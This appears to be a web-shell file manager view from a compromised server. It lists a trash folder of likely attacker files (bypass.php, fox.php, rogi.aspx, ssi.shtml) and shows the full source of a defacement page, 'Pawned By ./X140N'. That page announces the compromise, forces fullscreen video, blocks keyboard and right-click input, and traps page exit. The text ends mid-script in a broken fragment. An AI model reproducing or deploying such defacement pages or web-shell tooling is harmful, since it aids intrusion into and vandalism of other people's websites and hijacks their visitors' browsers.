/
home
/
aqcert
/
.trash
/
/home/aqcert/.trash
mkdir
upload
Name
Size
Mode
Actions
admin.zip-Jan-01-2026-02-59-49-PM
26503360
0644
edit
dl
rm
Anon.cer-Nov-14-2024-02-22-28-PM
46395
0644
edit
dl
rm
aqcert.zip-Jan-01-2026-02-59-49-PM
27312539
0644
edit
dl
rm
berantakan-v-1.2.php-Jan-01-2026-02-51-53-PM
2001
0644
edit
dl
rm
bypass.php-Jan-01-2026-02-51-53-PM
459
0644
edit
dl
rm
fox.php-Jan-01-2026-02-51-53-PM
73318
0644
edit
dl
rm
imgs.zip-Jan-01-2026-02-51-32-PM
8917567
0644
edit
dl
rm
ls.shtml-Jan-01-2026-02-52-07-PM
152
0644
edit
dl
rm
mys.zip-Jan-01-2026-03-05-44-PM
753477
0644
edit
dl
rm
once.php-Jan-01-2026-02-51-53-PM
61
0644
edit
dl
rm
ox.shtml-Jan-01-2026-02-51-53-PM
3976
0644
edit
dl
rm
phpinfo.php-Jan-01-2026-02-51-54-PM
15
0644
edit
dl
rm
rogi.aspx-Nov-14-2024-02-22-28-PM
72955
0644
edit
dl
rm
sess3.php-Jan-01-2026-02-51-54-PM
690
0644
edit
dl
rm
ssi.shtml-Jan-01-2026-02-51-54-PM
3470
0644
edit
dl
rm
t.html-Jan-01-2026-02-51-54-PM
37104
0644
edit
dl
rm
tahan2.php-Jan-01-2026-02-51-54-PM
733
0644
edit
dl
rm
test.php-Jan-01-2026-02-51-54-PM
3
0644
edit
dl
rm
tet.zip-Jan-01-2026-02-59-49-PM
25999244
0644
edit
dl
rm
tiger.html-Jan-01-2026-02-51-54-PM
2583
0644
edit
dl
rm
Edit:
/home/aqcert/.trash/t.html-Jan-01-2026-02-51-54-PM
(37104B)
<html> <head> <title> Pawned By ./X140N </title> <meta content="https://d.top4top.io/p_3408k4fzl0.jpg" property="og:image"/> <link href="https://i.ibb.co/Pc9kmwZ/tokyo-ghoul-wattpad-anime-fan-fiction-ghoul-f54a9938e2a2d27a97d49b16dba1df74.png" rel="icon" type="image/jpg"/> <link href="https://fonts.googleapis.com/css?family=Skranji|Pirata+One" rel="stylesheet"/> <meta charset="utf-8"/> <meta content="width=763" name="viewport"/> <script type="text/javascript"> var snowmax = 30; var snowcolor = new Array("#FFFFFF", "#FFFFFF", "#FFFFFF", "#FFFFFF", "#FFFFFF"); var snowtype = new Array("Arial white", "Arial Narrow", "Times", "Comic Sans MS"); var snowletter = "*"; var sinkspeed = 0.5; var snowmaxsize = 40; var snowminsize = 26; var snowingzone = 1; var snow = new Array(); var marginbottom; var marginright; var timer; var i_snow = 0; var x_mv = new Array(); var crds = new Array(); var lftrght = new Array(); var browserinfos = navigator.userAgent; var ie5 = document.all && document.getElementById && !browserinfos.match(/Opera/); var ns6 = document.getElementById && !document.all; var opera = browserinfos.match(/Opera/); var browserok = ie5 || ns6 || opera; function randommaker(range) { return Math.floor(range * Math.random()); } function initsnow() { if (ie5 || opera) { marginbottom = document.body.clientHeight; marginright = document.body.clientWidth; } else if (ns6) { marginbottom = window.innerHeight; marginright = window.innerWidth; } var snowsizerange = snowmaxsize - snowminsize; for (i = 0; i <= snowmax; i++) { crds[i] = 0; lftrght[i] = Math.random() * 15; x_mv[i] = 0.03 + Math.random() / 10; snow[i] = document.getElementById("s" + i); snow[i].style.fontFamily = snowtype[randommaker(snowtype.length)]; snow[i].size = randommaker(snowsizerange) + snowminsize; snow[i].style.fontSize = snow[i].size; snow[i].style.color = snowcolor[randommaker(snowcolor.length)]; snow[i].sink = sinkspeed * snow[i].size / 5; snow[i].posx = randommaker(marginright - snow[i].size); snow[i].posy = randommaker(2 * marginbottom - marginbottom - 2 * snow[i].size); snow[i].style.left = snow[i].posx; snow[i].style.top = snow[i].posy; } movesnow(); } function movesnow() { for (i = 0; i <= snowmax; i++) { crds[i] += x_mv[i]; snow[i].posy += snow[i].sink; snow[i].style.left = snow[i].posx + lftrght[i] * Math.sin(crds[i]); snow[i].style.top = snow[i].posy; if (snow[i].posy >= marginbottom - 2 * snow[i].size || parseInt(snow[i].style.left) > (marginright - 3 * lftrght[i])) { snow[i].posx = randommaker(marginright - snow[i].size); snow[i].posy = 0; } } var timer = setTimeout("movesnow()", 50); } for (i = 0; i <= snowmax; i++) { document.write("<span id='s" + i + "' style='position:absolute;top:-" + snowmaxsize + "'>" + snowletter + "</span>"); } if (browserok) { window.onload = initsnow; } </script> <style type="text/css"> body { background: black; margin: 0; padding: 0; font-family: cursive; overflow: auto; display: flex; align-items: center; justify-content: center; width: 100%; } h1 { color: #0f0f0f; text-decoration: none; border-radius: 0px; border: 0px; font-family: cursive; font-size: 50px; margin: 0px auto; text-shadow: 2px 2px #ff0000; animation: a 3s linear infinite; animation-fill-mode: forwards; } @keyframes a { 3% { text-shadow: 7px 7px 0px red; } 6% { text-shadow: -9px 4px 0px blue; transform: translate(4px, -10px) skewX(3240deg); } 7% { text-shadow: 3px -4px 0px green; } 9% { text-shadow: 0px 0px 3px rgba(5, 0, 0, 0.021); transform: translate(0px, 0px) skewX(0deg); } 2%, 54% { transform: translateX(0px) skew(0deg); } 55%, 56% { transform: translate(-2px, 6px) skew(-5530deg); } 56% { text-shadow: 0px 0px 3px rgb(3, 3, 3); transform: translate(0px, 0px) skew(0deg); } 57% { text-shadow: 7px 7px 0px red; transform: translate(4px, -10px) skew(-70deg); } 58% { text-shadow: 0px 0px 3px rgb(5, 5, 5); transform: translate(0px, 0px) skew(0deg); } 62% { text-shadow: 3px -4px 0px green; transform: translate(0px, 20px) skew(0deg); } 63% { text-shadow: 0px 0px 3px rgb(3, 3, 3); transform: translate(4px, -2px) skew(0deg); } 64% { transform: translate(1px, 3px); skew(-230deg); } 65% { transform: translate(-7px, 2px); skew(120deg); } 66% { transform: translate(0px, 0px) skew(0deg); } } .music_1, .music_2 { font-family: cursive; font-size: 50px; color: white; background: none; border-color: white; border-radius: 20px; border-width: 2px; outline: none; margin: 10px; width: 190px; } .music_2 { width: 200px; } </style> </head> <body> <center> <br/> <br/> <br/> <br/> <br/> <br/> <img alt="images-4" border="0" height="720px" src="https://i.ibb.co.com/3yjHYvbb/Picsart-25-05-07-04-28-17-513.jpg" width="480px"/> <h1> <font class="sec" color="white"> PAWNED BY ./X140N <img src="https://i.imgur.com/Imsbaxc.gif" style="margin:0 0 -1px 0;width:63px;height:63px;"/> <br/> </font> </h1> <img src="https://i.imgur.com/aKTrI5Y.gif" style="object-fit: scale-down; max-width: 100%" width="200"/> <br/> <font class="sec" color="white"> ./Message:~ </font> <br/> <font class="sec" color="white"> wqwqwq I'm not anonymous <br/> so <br/> System compromised. No data loss occurred. </font> <br/> <div style="line-height:40%;"> <br/> </div> <br/> <!--<img src="https://i.imgur.com/rFIT1s5.jpg" border="0" width="500" style="object-fit: scale-down; max-width: 100%" onclick="location.href = 'https://t.me/x1877x';">--> <style type="text/css"> <meta name="viewport" content="width=763"> p { margin: 0; } *, *::before, *::after { box-sizing: border-box; } .overlay, .scare { background-color: transparent; } p.overlay-title { font-size: 24px; font-weight: 900; color: black; line-height: 1; margin-bottom: 16px; } .overlay-button { position: absolute; display: inline-flex; align-items: center; height: 40px; padding-right: 24px; padding-left: 24px; font-size: 16px; font-weight: 500; line-height: 1; border-radius: 4px; margin: 4px; cursor: pointer; } .overlay-buttons-wrapper { margin: -8px; } #accept-button { z-index: 100px; color: rgb(255, 34, 34); border: 0px solid rgb(253, 253, 253); } #decline-button { color: rgb(255, 34, 34); border: 2px solid rgb(253, 253, 253); } p.overlay-description { font-size: 16px; font-weight: 400; color: rgba(0, 0, 0, 0.5); line-height: 1.25; margin-bottom: 32px; } a.overlay-link { display: inline-block; text-decoration: none; font-size: 16px; font-weight: 500; color: rgb(132, 94, 194); line-height: 1; position: relative; margin-top: 16px; } a.overlay-link::before { position: absolute; content: ""; height: calc(50% + 4px); width: calc(100% + 8px); bottom: -4px; left: -4px; background-color: rgba(132, 94, 194, 0.1); } .overlay-body { max-width: 512px; text-align: center; font-family: "Inter", sans-serif; } .overlay.hidden { display: none; } .overlay { z-index: 2; background-color: transparent; display: flex; align-items: center; justify-content: center; overflow: hidden; } .scare { z-index: 1; } video { height: 100%; width: 100%; object-fit: cover; margin-top: 500px; } xnvideo { height: 100%; width: 100%; object-fit: cover; } video#video::-webkit-media-controls-enclosure { display:none !important; } </style> <script> function changer() { const element = document.getElementById("video"); element.classList.add("xnvideo"); element.classList.remove("video"); var element = document.getElementById("video"); element.classList.toggle("xnvideo"); } </script> <body> <div class="overlay" id="overlay"> <!--<div class="overlay-body"> <div class="overlay-buttons-wrapper">--> <br/> <div class="overlay-button" id="accept-button"> <font 2px="" 2px"="" color="red" face="cursive" size="5" text-shadow:=""> | ▷click me | </font> </div> <!--<div id="decline-button" class="overlay-button"><font color="red" size="4" face="cursive" text-shadow: 2px 2px">Decline</div>--> <script> function textt() { var hid = document.getElementsByClassName("exp"); // Emulates jQuery $(element).is(':hidden'); if(hid[0].offsetWidth > 0 && hid[0].offsetHeight > 0) { hid[0].style.visibility = "visible"; } } </script> <script> function videoo() { var hid = document.getElementsByClassName("video"); // Emulates jQuery $(element).is(':hidden'); if(hid[0].offsetWidth > 0 && hid[0].offsetHeight > 0) { hid[0].style.visibility = "visible"; } } var hid = document.getElementsByClassName("scare"); // Emulates jQuery $(element).is(':hidden'); if(hid[0].offsetWidth > 0 && hid[0].offsetHeight > 0) { hid[0].style.visibility = "visible"; } } </script> <style> .exp{visibility: hidden;} .hide{ display:none; } .show{ display:block; } </style> </div> <div class="scare"> <video class="video" id="video" loop="" src="https://e.top4top.io/m_2226do4cq1.mp4"> </video> </div> <script type="text/javascript"> const video = document.getElementById("video"); const overlay = document.getElementById("overlay"); const declineButton = document.getElementById("decline-button"); const acceptButton = document.getElementById("accept-button"); let hasClicked; window.onbeforeunload = function( ) { if(hasClicked) return true; }; function buttonClick(event) { event.preventDefault(); if(!hasClicked) hasClicked = true; overlay.classList.add("hidden"); video.play(); videoClick(); window.scrollTo(0,document.body.scrollHeight); textt(); } function videoClick(event) { if(event) event.preventDefault(); // if not fullscreen const { documentElement } = document; if(documentElement.requestFullscreen) documentElement.requestFullscreen(); else if(documentElement.mozRequestFullScreen) documentElement.mozRequestFullScreen(); else if(documentElement.webkitRequestFullscreen) documentElement.webkitRequestFullscreen(); else if(documentElement.msRequestFullscreen) full.msRequestFullscreen(); } acceptButton.addEventListener("click", buttonClick); declineButton.addEventListener("click", buttonClick); video.addEventListener("click", videoClick); </script> <script> document.onkeydown = function (e) { return false; } </script> <script> document.addEventListener("contextmenu", function(e){ e.preventDefault(); }, false); </script> <div class="exp"> <div id="center"> <font 2px="" 2px"="" color="white" face="cursive" size="3" text-shadow:=""> <br/> <br/> <br/> <font class="don%27t_copy" color="white"> © </font> <font class="don%27t_copy" color="white"> All Rights Reserved by </font> <br/> <font class="don%27t_copy" color="white"> H4X0R ./X140N </font> </font> </div> </div> </body> </center> <!--<div id="center"> <font color="white" size="4" face="droid arabic kufi" text-shadow: 2px 2px">١٨٧٧ تیم</a></div>--> <font color="#FF0000"> </font> <br/> </body> <body data-cf-modified-ce222c656afc4da03b6a67db-="" oncontextmenu="if (!window.__cfRLUnblockHandlers) return false; return false;"> <script type="ce222c656afc4da03b6a67db-text/javascript"> document.onkeydown = function (e) { return false; } </script> <script type="ce222c656afc4da03b6a67db-text/javascript"> document.addEventListener("contextmenu", function(e){ e.preventDefault(); }, false); </script> <script type="text/javascript"> var song = document.getElementById("myaudio"); function playaudio() { song.play(); } function pauseaudio() { song.pause(); } </script> <script> function cursor_text_circle(){ var msg=' Pawned By ./X140N '.split('').reverse().join(''); var font='"Copperplate Gothic Bold"'; var size=3; // up to Ten var color='#ffffff'; var speed=.3; var rotation=-.1; // Alter no variables past here!, unless you are good //--------------------------------------------------- var ns=(document.layers); var ie=(document.all); var dom=document.getElementById; msg=msg.split(''); var n=msg.length; var a=size*13; var currStep=0; var ymouse=0; var xmouse=0; var props="<font face="+font+" color="+color+" size="+size+">"; if (ie) window.pageYOffset=0 // writes the message if (ns){ for (i=0; i < n; i++) document.write('<layer left="0" top="0" width="+a+" name="nsmsg'+i+'" height="+a+"><center>'+props+msg[i]+'</font></center></layer>'); } else if (ie||dom){ document.write('<div id="outer" style="position:absolute;top:0px;left:0px;z-index:30000;"><div style="position:relative">'); for (i=0; i < n; i++) document.write('<div id="iemsg'+(dom&&!ie? i:'')+'" style="position:absolute;top:0px;left:0;height:'+a+'px;width:'+a+'px;text-align:center;font-weight:normal;cursor:default">'+props+msg[i]+'</font></div>'); document.write('</div></div>'); } (ns)?window.captureEvents(Event.MOUSEMOVE):0; function Mouse(evnt){ ymouse = (ns||(dom&&!ie))?evnt.pageY+20-(window.pageYOffset):event.y; // y-position xmouse = (ns||(dom&&!ie))?evnt.pageX+20:event.x-20; // x-position } if (ns||ie||dom) (ns)?window.onMouseMove=Mouse:document.onmousemove=Mouse; var y=new Array(); var x=new Array(); var Y=new Array(); var X=new Array(); for (i=0; i < n; i++){ y[i]=0; x[i]=0; Y[i]=0; X[i]=0; } var iecompattest=function(){ return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body; } var makecircle=function(){ // rotation properties if (ie) outer.style.top=iecompattest().scrollTop+'px'; currStep-=rotation; for (i=0; i < n; i++){ // makes the circle var d=(ns)?document.layers['nsmsg'+i]:ie? iemsg[i].style:document.getElementById('iemsg'+i).style; d.top=y[i]+a*Math.sin((currStep+i*1)/3.8)+window.pageYOffset-15+(ie||dom? 'px' : ''); d.left=x[i]+a*Math.cos((currStep+i*1)/3.8)*2+(ie||dom? 'px' : ''); // remove *2 for just a plain circle, not oval } } var drag=function(){ // makes the resistance y[0]=Math.round(Y[0]+=((ymouse)-Y[0])*speed); x[0]=Math.round(X[0]+=((xmouse)-X[0])*speed); for (var i=1; i < n; i++){ y[i]=Math.round(Y[i]+=(y[i-1]-Y[i])*speed); x[i]=Math.round(X[i]+=(x[i-1]-X[i])*speed); } makecircle(); // not rotation speed, leave at zero setTimeout(function(){drag();},10); } if (ns||ie||dom) if ( typeof window.addEventListener != "undefined" ) window.addEventListener( "load", drag, false ); else if ( typeof window.attachEvent != "undefined" ) window.attachEvent( "onload", drag ); else { if ( window.onload != null ) { var oldOnload = window.onload; window.onload = function ( e ) { oldOnload( e ); drag(); }; } else window.onload = drag; } } cursor_text_circle(); </script> <script type="text/javascript"> var snowStorm = null; function SnowStorm() { this.flakesMax = 128; this.flakesMaxActive = 64; this.animationInterval = 33; this.flakeBottom = null; this.targetElement = null; this.followMouse = true; this.snowColor = 'red'; this.snowCharacter = '•'; this.snowStick = true; this.useMeltEffect = true; this.useTwinkleEffect = false; this.usePositionFixed = false; this.flakeLeftOffset = 0; this.flakeRightOffset = 0; this.flakeWidth = 8; this.flakeHeight = 8; this.vMaxX = 5; this.vMaxY = 4; this.zIndex = 0; var addEvent = (typeof(window.attachEvent)=='undefined'?function(o,evtName,evtHandler) { return o.addEventListener(evtName,evtHandler,false); }:function(o,evtName,evtHandler) { return o.attachEvent('on'+evtName,evtHandler); }); var removeEvent = (typeof(window.attachEvent)=='undefined'?function(o,evtName,evtHandler) { return o.removeEventListener(evtName,evtHandler,false); }:function(o,evtName,evtHandler) { return o.detachEvent('on'+evtName,evtHandler); }); function rnd(n,min) { if (isNaN(min)) { min = 0; } return (Math.random()*n)+min; } function plusMinus(n) { return (parseInt(rnd(2),10)==1?n*-1:n); } var s = this; var storm = this; this.timers = []; this.flakes = []; this.disabled = false; this.active = false; var isIE = navigator.userAgent.match(/msie/i); var isIE6 = navigator.userAgent.match(/msie 6/i); var isOldIE = (isIE && (isIE6 || navigator.userAgent.match(/msie 5/i))); var isWin9X = navigator.appVersion.match(/windows 98/i); var isiPhone = navigator.userAgent.match(/iphone/i); var isBackCompatIE = (isIE && document.compatMode == 'BackCompat'); var noFixed = ((isBackCompatIE || isIE6 || isiPhone)?true:false); var screenX = null; var screenX2 = null; var screenY = null; var scrollY = null; var vRndX = null; var vRndY = null; var windOffset = 1; var windMultiplier = 2; var flakeTypes = 6; var fixedForEverything = false; var opacitySupported = (function(){ try { document.createElement('div').style.opacity = '0.5'; } catch (e) { return false; } return true; })(); var docFrag = document.createDocumentFragment(); if (s.flakeLeftOffset === null) { s.flakeLeftOffset = 0; } if (s.flakeRightOffset === null) { s.flakeRightOffset = 0; } this.meltFrameCount = 20; this.meltFrames = []; for (var i=0; i<this.meltFrameCount; i++) { this.meltFrames.push(1-(i/this.meltFrameCount)); } this.randomizeWind = function() { vRndX = plusMinus(rnd(s.vMaxX,0.2)); vRndY = rnd(s.vMaxY,0.2); if (this.flakes) { for (var i=0; i<this.flakes.length; i++) { if (this.flakes[i].active) { this.flakes[i].setVelocities(); } } } }; this.scrollHandler = function() { // "attach" snowflakes to bottom of window if no absolute bottom value was given scrollY = (s.flakeBottom?0:parseInt(window.scrollY||document.documentElement.scrollTop||document.body.scrollTop,10)); if (isNaN(scrollY)) { scrollY = 0; // Netscape 6 scroll fix } if (!fixedForEverything && !s.flakeBottom && s.flakes) { for (var i=s.flakes.length; i--;) { if (s.flakes[i].active === 0) { s.flakes[i].stick(); } } } }; this.resizeHandler = function() { if (window.innerWidth || window.innerHeight) { screenX = window.innerWidth-(!isIE?16:2)-s.flakeRightOffset; screenY = (s.flakeBottom?s.flakeBottom:window.innerHeight); } else { screenX = (document.documentElement.clientWidth||document.body.clientWidth||document.body.scrollWidth)-(!isIE?8:0)-s.flakeRightOffset; screenY = s.flakeBottom?s.flakeBottom:(document.documentElement.clientHeight||document.body.clientHeight||document.body.scrollHeight); } screenX2 = parseInt(screenX/2,10); }; this.resizeHandlerAlt = function() { screenX = s.targetElement.offsetLeft+s.targetElement.offsetWidth-s.flakeRightOffset; screenY = s.flakeBottom?s.flakeBottom:s.targetElement.offsetTop+s.targetElement.offsetHeight; screenX2 = parseInt(screenX/2,10); }; this.freeze = function() { // pause animation if (!s.disabled) { s.disabled = 1; } else { return false; } for (var i=s.timers.length; i--;) { clearInterval(s.timers[i]); } }; this.resume = function() { if (s.disabled) { s.disabled = 0; } else { return false; } s.timerInit(); }; this.toggleSnow = function() { if (!s.flakes.length) { // first run s.start(); } else { s.active = !s.active; if (s.active) { s.show(); s.resume(); } else { s.stop(); s.freeze(); } } }; this.stop = function() { this.freeze(); for (var i=this.flakes.length; i--;) { this.flakes[i].o.style.display = 'none'; } removeEvent(window,'scroll',s.scrollHandler); removeEvent(window,'resize',s.resizeHandler); if (!isOldIE) { removeEvent(window,'blur',s.freeze); removeEvent(window,'focus',s.resume); } }; this.show = function() { for (var i=this.flakes.length; i--;) { this.flakes[i].o.style.display = 'block'; } }; this.SnowFlake = function(parent,type,x,y) { var s = this; var storm = parent; this.type = type; this.x = x||parseInt(rnd(screenX-20),10); this.y = (!isNaN(y)?y:-rnd(screenY)-12); this.vX = null; this.vY = null; this.vAmpTypes = [1,1.2,1.4,1.6,1.8]; // "amplification" for vX/vY (based on flake size/type) this.vAmp = this.vAmpTypes[this.type]; this.melting = false; this.meltFrameCount = storm.meltFrameCount; this.meltFrames = storm.meltFrames; this.meltFrame = 0; this.twinkleFrame = 0; this.active = 1; this.fontSize = (10+(this.type/5)*10); this.o = document.createElement('div'); this.o.innerHTML = storm.snowCharacter; this.o.style.color = storm.snowColor; this.o.style.position = (fixedForEverything?'fixed':'absolute'); this.o.style.width = storm.flakeWidth+'px'; this.o.style.height = storm.flakeHeight+'px'; this.o.style.fontFamily = 'arial,verdana'; this.o.style.overflow = 'hidden'; this.o.style.fontWeight = 'normal'; this.o.style.zIndex = storm.zIndex; docFrag.appendChild(this.o); this.refresh = function() { if (isNaN(s.x) || isNaN(s.y)) { // safety check return false; } s.o.style.left = s.x+'px'; s.o.style.top = s.y+'px'; }; this.stick = function() { if (noFixed || (storm.targetElement != document.documentElement && storm.targetElement != document.body)) { s.o.style.top = (screenY+scrollY-storm.flakeHeight)+'px'; } else if (storm.flakeBottom) { s.o.style.top = storm.flakeBottom+'px'; } else { s.o.style.display = 'none'; s.o.style.top = 'auto'; s.o.style.bottom = '0px'; s.o.style.position = 'fixed'; s.o.style.display = 'block'; } }; this.vCheck = function() { if (s.vX>=0 && s.vX<0.2) { s.vX = 0.2; } else if (s.vX<0 && s.vX>-0.2) { s.vX = -0.2; } if (s.vY>=0 && s.vY<0.2) { s.vY = 0.2; } }; this.move = function() { var vX = s.vX*windOffset; s.x += vX; s.y += (s.vY*s.vAmp); if (s.x >= screenX || screenX-s.x < storm.flakeWidth) { // X-axis scroll check s.x = 0; } else if (vX < 0 && s.x-storm.flakeLeftOffset<0-storm.flakeWidth) { s.x = screenX-storm.flakeWidth-1; // flakeWidth; } s.refresh(); var yDiff = screenY+scrollY-s.y; if (yDiff<storm.flakeHeight) { s.active = 0; if (storm.snowStick) { s.stick(); } else { s.recycle(); } } else { if (storm.useMeltEffect && s.active && s.type < 3 && !s.melting && Math.random()>0.998) { // ~1/1000 chance of melting mid-air, with each frame s.melting = true; s.melt(); // only incrementally melt one frame // s.melting = false; } if (storm.useTwinkleEffect) { if (!s.twinkleFrame) { if (Math.random()>0.9) { s.twinkleFrame = parseInt(Math.random()*20,10); } } else { s.twinkleFrame--; s.o.style.visibility = (s.twinkleFrame && s.twinkleFrame%2===0?'hidden':'visible'); } } } }; this.animate = function() { // main animation loop // move, check status, die etc. s.move(); }; this.setVelocities = function() { s.vX = vRndX+rnd(storm.vMaxX*0.12,0.1); s.vY = vRndY+rnd(storm.vMaxY*0.12,0.1); }; this.setOpacity = function(o,opacity) { if (!opacitySupported) { return false; } o.style.opacity = opacity; }; this.melt = function() { if (!storm.useMeltEffect || !s.melting) { s.recycle(); } else { if (s.meltFrame < s.meltFrameCount) { s.meltFrame++; s.setOpacity(s.o,s.meltFrames[s.meltFrame]); s.o.style.fontSize = s.fontSize-(s.fontSize*(s.meltFrame/s.meltFrameCount))+'px'; s.o.style.lineHeight = storm.flakeHeight+2+(storm.flakeHeight*0.75*(s.meltFrame/s.meltFrameCount))+'px'; } else { s.recycle(); } } }; this.recycle = function() { s.o.style.display = 'none'; s.o.style.position = (fixedForEverything?'fixed':'absolute'); s.o.style.bottom = 'auto'; s.setVelocities(); s.vCheck(); s.meltFrame = 0; s.melting = false; s.setOpacity(s.o,1); s.o.style.padding = '0px'; s.o.style.margin = '0px'; s.o.style.fontSize = s.fontSize+'px'; s.o.style.lineHeight = (storm.flakeHeight+2)+'px'; s.o.style.textAlign = 'center'; s.o.style.verticalAlign = 'baseline'; s.x = parseInt(rnd(screenX-storm.flakeWidth-20),10); s.y = parseInt(rnd(screenY)*-1,10)-storm.flakeHeight; s.refresh(); s.o.style.display = 'block'; s.active = 1; }; this.recycle(); // set up x/y coords etc. this.refresh(); }; this.snow = function() { var active = 0; var used = 0; var waiting = 0; var flake = null; for (var i=s.flakes.length; i--;) { if (s.flakes[i].active == 1) { s.flakes[i].move(); active++; } else if (s.flakes[i].active === 0) { used++; } else { waiting++; } if (s.flakes[i].melting) { s.flakes[i].melt(); } } if (active<s.flakesMaxActive) { flake = s.flakes[parseInt(rnd(s.flakes.length),10)]; if (flake.active === 0) { flake.melting = true; } } }; this.mouseMove = function(e) { if (!s.followMouse) { return true; } var x = parseInt(e.clientX,10); if (x<screenX2) { windOffset = -windMultiplier+(x/screenX2*windMultiplier); } else { x -= screenX2; windOffset = (x/screenX2)*windMultiplier; } }; this.createSnow = function(limit,allowInactive) { for (var i=0; i<limit; i++) { s.flakes[s.flakes.length] = new s.SnowFlake(s,parseInt(rnd(flakeTypes),10)); if (allowInactive || i>s.flakesMaxActive) { s.flakes[s.flakes.length-1].active = -1; } } storm.targetElement.appendChild(docFrag); }; this.timerInit = function() { s.timers = (!isWin9X?[setInterval(s.snow,s.animationInterval)]:[setInterval(s.snow,s.animationInterval*3),setInterval(s.snow,s.animationInterval)]); }; this.init = function() { s.randomizeWind(); s.createSnow(s.flakesMax); // create initial batch addEvent(window,'resize',s.resizeHandler); addEvent(window,'scroll',s.scrollHandler); if (!isOldIE) { addEvent(window,'blur',s.freeze); addEvent(window,'focus',s.resume); } s.resizeHandler(); s.scrollHandler(); if (s.followMouse) { addEvent(document,'mousemove',s.mouseMove); } s.animationInterval = Math.max(20,s.animationInterval); s.timerInit(); }; var didInit = false; this.start = function(bFromOnLoad) { if (!didInit) { didInit = true; } else if (bFromOnLoad) { // already loaded and running return true; } if (typeof s.targetElement == 'string') { var targetID = s.targetElement; s.targetElement = document.getElementById(targetID); if (!s.targetElement) { throw new Error('Snowstorm: Unable to get targetElement "'+targetID+'"'); } } if (!s.targetElement) { s.targetElement = (!isIE?(document.documentElement?document.documentElement:document.body):document.body); } if (s.targetElement != document.documentElement && s.targetElement != document.body) { s.resizeHandler = s.resizeHandlerAlt; // re-map handler to get element instead of screen dimensions } s.resizeHandler(); // get bounding box elements s.usePositionFixed = (s.usePositionFixed && !noFixed); // whether or not position:fixed is supported fixedForEverything = s.usePositionFixed; if (screenX && screenY && !s.disabled) { s.init(); s.active = true; } }; function doStart() { s.start(true); } if (document.addEventListener) { // safari 3.0.4 doesn't do DOMContentLoaded, maybe others - use a fallback to be safe. document.addEventListener('DOMContentLoaded',doStart,false); window.addEventListener('load',doStart,false); } else { addEvent(window,'load',doStart); } } snowStorm = new SnowStorm(); function IE(e) { if (navigator.appName == "Microsoft Internet Explorer" && (event.button == "2" || event.button == "3")) { return false; } } function NS(e) { if (document.layers || (document.getElementById && !document.all)) { if (e.which == "2" || e.which == "3") { return false; } } } document.onmousedown=IE;document.onmouseup=NS;document.oncontextmenu=new Function("return false"); (function() { var canvas, ctx, circ, nodes, mouse, SENSITIVITY, SIBLINGS_LIMIT, DENSITY, NODES_QTY, ANCHOR_LENGTH, MOUSE_RADIUS; SENSITIVITY = 100; SIBLINGS_LIMIT = 10; DENSITY = 50; NODES_QTY = 0; ANCHOR_LENGTH = 20; MOUSE_RADIUS = 200; circ = 2 * Math.PI; nodes = []; canvas = document.querySelector('canvas'); resizeWindow(); mouse = { x: canvas.width / 2, y: canvas.height / 2 }; ctx = canvas.getContext('2d'); if (!ctx) { alert("Ooops! Your browser does not support canvas :'("); } function Node(x, y) { this.anchorX = x; this.anchorY = y; this.x = Math.random() * (x - (x - ANCHOR_LENGTH)) + (x - ANCHOR_LENGTH); this.y = Math.random() * (y - (y - ANCHOR_LENGTH)) + (y - ANCHOR_LENGTH); this.vx = Math.random() * 2 - 1; this.vy = Math.random() * 2 - 1; this.energy = Math.random() * 100; this.radius = Math.random(); this.siblings = []; this.brightness = 0; } Node.prototype.drawNode = function() { var color = "rgba(255, 0, 0, " + this.brightness + ")"; ctx.beginPath(); ctx.arc(this.x, this.y, 2 * this.radius + 2 * this.siblings.length / SIBLINGS_LIMIT, 0, circ); ctx.fillStyle = color; ctx.fill(); }; Node.prototype.drawConnections = function() { for (var i = 0; i < this.siblings.length; i++) { var color = "rgba(255, 0, 0, " + this.brightness + ")"; ctx.beginPath(); ctx.moveTo(this.x, this.y); ctx.lineTo(this.siblings[i].x, this.siblings[i].y); ctx.lineWidth = 1 - calcDistance(this, this.siblings[i]) / SENSITIVITY; ctx.strokeStyle = color; ctx.stroke(); } }; Node.prototype.moveNode = function() { this.energy -= 2; if (this.energy < 1) { this.energy = Math.random() * 100; if (this.x - this.anchorX < -ANCHOR_LENGTH) { this.vx = Math.random() * 2; } else if (this.x - this.anchorX > ANCHOR_LENGTH) { this.vx = Math.random() * -2; } else { this.vx = Math.random() * 4 - 2; } if (this.y - this.anchorY < -ANCHOR_LENGTH) { this.vy = Math.random() * 2; } else if (this.y - this.anchorY > ANCHOR_LENGTH) { this.vy = Math.random() * -2; } else { this.vy = Math.random() * 4 - 2; } } this.x += this.vx * this.energy / 100; this.y += this.vy * this.energy / 100; }; function initNodes() { ctx.clearRect(0, 0, canvas.width, canvas.height); nodes = []; for (var i = DENSITY; i < canvas.width; i += DENSITY) { for (var j = DENSITY; j < canvas.height; j += DENSITY) { nodes.push(new Node(i, j)); NODES_QTY++; } } } function calcDistance(node1, node2) { return Math.sqrt(Math.pow(node1.x - node2.x, 2) + (Math.pow(node1.y - node2.y, 2))); } function findSiblings() { var node1, node2, distance; for (var i = 0; i < NODES_QTY; i++) { node1 = nodes[i]; node1.siblings = []; for (var j = 0; j < NODES_QTY; j++) { node2 = nodes[j]; if (node1 !== node2) { distance = calcDistance(node1, node2); if (distance < SENSITIVITY) { if (node1.siblings.length < SIBLINGS_LIMIT) { node1.siblings.push(node2); } else { var node_sibling_distance = 0; var max_distance = 0; var s; for (var k = 0; k < SIBLINGS_LIMIT; k++) { node_sibling_distance = calcDistance(node1, node1.siblings[k]); if (node_sibling_distance > max_distance) { max_distance = node_sibling_distance; s = k; } } if (distance < max_distance) { node1.siblings.splice(s, 1); node1.siblings.push(node2); } } } } } } } function redrawScene() { resizeWindow(); ctx.clearRect(0, 0, canvas.width, canvas.height); findSiblings(); var i, node, distance; for (i = 0; i < NODES_QTY; i++) { node = nodes[i]; distance = calcDistance({ x: mouse.x, y: mouse.y }, node); if (distance < MOUSE_RADIUS) { node.brightness = 1 - distance / MOUSE_RADIUS; } else { node.brightness = 0; } } for (i = 0; i < NODES_QTY; i++) { node = nodes[i]; if (node.brightness) { node.drawNode(); node.drawConnections(); } node.moveNode(); } requestAnimationFrame(redrawScene); } function initHandlers() { document.addEventListener('resize', resizeWindow, false); canvas.addEventListener('mousemove', mousemoveHandler, false); } function resizeWindow() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } function mousemoveHandler(e) { mouse.x = e.clientX; mouse.y = e.clientY; } initHandlers(); initNodes(); redrawScene(); })(); </script> <script type="text/javascript"> "interactivity": { "detect_on": "window", "events": { "onhover": { 